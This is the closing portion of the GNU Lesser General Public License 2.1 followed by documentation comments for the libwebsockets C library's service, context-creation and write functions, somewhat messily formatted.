16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

#### END OF TERMS AND CONDITIONS

#### How to Apply These Terms to Your New Libraries

If you develop a new library, and you want it to be of the greatest possible use to the public, we recommend making it free software that everyone can redistribute and change. You can do so by permitting redistribution under these terms (or, alternatively, under the terms of the ordinary General Public License).

To apply these terms, attach the following notices to the library. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found.

one line to give the library's name and an idea of what it does.

Copyright (C) year name of author

This library is free software; you can redistribute it and/or

modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version.

This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.

You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA

Also add information on how to contact you by electronic and paper mail.

You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the library, if necessary. Here is a sample; alter the names:

Yoyodyne, Inc., hereby disclaims all copyright interest in the library `Frob' (a library for tweaking knobs) written by James Random Hacker.

 * libwebsocket_service() - Service any pending websocket activity
 * @context:    Websocket context
 * @timeout_ms:    Timeout for poll; 0 means return immediately if nothing needed
 *
 *                service otherwise block and service immediately, returning
 *
 *                after the timeout if nothing needed service.
 *
 *
 * This function deals with any pending websocket traffic, for three
 * kinds of event. It handles these events on both server and client
 * types of connection the same.
 *
 *
 * 1) Accept new connections to our context's server
 *
 *
 * 2) Call the receive callback for incoming frame data received by
 *
 *     server or client connections.
 *
 *
 * You need to call this service function periodically to all the above
 * functions to happen; if your application is single-threaded you can
 * just call it in your main event loop.
 *
 *
 * Alternatively you can fork a new process that asynchronously handles
 * calling this service in a loop. In that case you are happy if this

```

```

*      call blocks your thread until it needs to take care of something and
*
*      would call it with a large nonzero timeout. Your loop then takes no
*
*      CPU while there is nothing happening.
*
*
*      If you are calling it in a single-threaded app, you don't want it to
*
*      wait around blocking other things in your loop from happening, so you
*
*      would call it with a timeout_ms of 0, so it returns immediately if
*
*      nothing is pending, or as soon as it services whatever was pending.

/**
 * libwebsocket_create_context() - Create the websocket handler
 *
 * @info: pointer to struct with parameters
 *
 * This function creates the listening socket (if serving) and takes care
 * of all initialization in one step.

```

\*

\* After initialization, it returns a struct libwebsocket\_context \* that  
\* represents this server. After calling, user code needs to take care  
\* of calling libwebsocket\_service() with the context pointer to get the  
\* server's sockets serviced. This can be done in the same process context  
\* or a forked process, or another thread,

\*

\* The protocol callback functions are called for a handful of events  
\* including http requests coming in, websocket connections becoming  
\* established, and data arriving; it's also called periodically to allow  
\* async transmission.

\*

\* HTTP requests are sent always to the FIRST protocol in @protocol, since  
\* at that time websocket protocol has not been negotiated. Other  
\* protocols after the first one never see any HTTP callack activity.

\*

\* The server created is a simple http server by default; part of the  
\* websocket standard is upgrading this http connection to a websocket one.

\*

\* This allows the same server to provide files like scripts and favicon /  
\* images or whatever over http and dynamic data over websockets all in  
\* one place; they're all handled in the user callback.

\*/

/**
 * libwebsocket_write() - Apply protocol then write data to client
 *
 * @wsi:      Websocket instance (available from user callback)
 *
 * @buf:      The data to send. For data being sent on a websocket
 *
 *            connection (ie, not default http), this buffer MUST have
 *
 *            LWS_SEND_BUFFER_PRE_PADDING bytes valid BEFORE the pointer
 *
 *            and an additional LWS_SEND_BUFFER_POST_PADDING bytes valid
 *
 *            in the buffer after (buf + len). This is so the protocol
 *
 *            header and trailer data can be added in-situ.
 *
 * @len:      Count of the data bytes in the payload starting from buf
 *
 * @protocol:  Use LWS_WRITE_HTTP to reply to an http connection, and one

```

```

*         of LWS_WRITE_BINARY or LWS_WRITE_TEXT to send appropriate
*
*         data on a websockets connection. Remember to allow the extra
*
*         bytes before and after buf if LWS_WRITE_BINARY or LWS_WRITE_TEXT
*
*         are used.
*
*
*     This function provides the way to issue data back to the client
*
*     for both http and websocket protocols.
*
*
*     In the case of sending using websocket protocol, be sure to allocate
*
*     valid storage before and after buf as explained above. This scheme
*
*     allows maximum efficiency of sending data and protocol in a single
*
*     packet while not burdening the user code with any protocol knowledge.
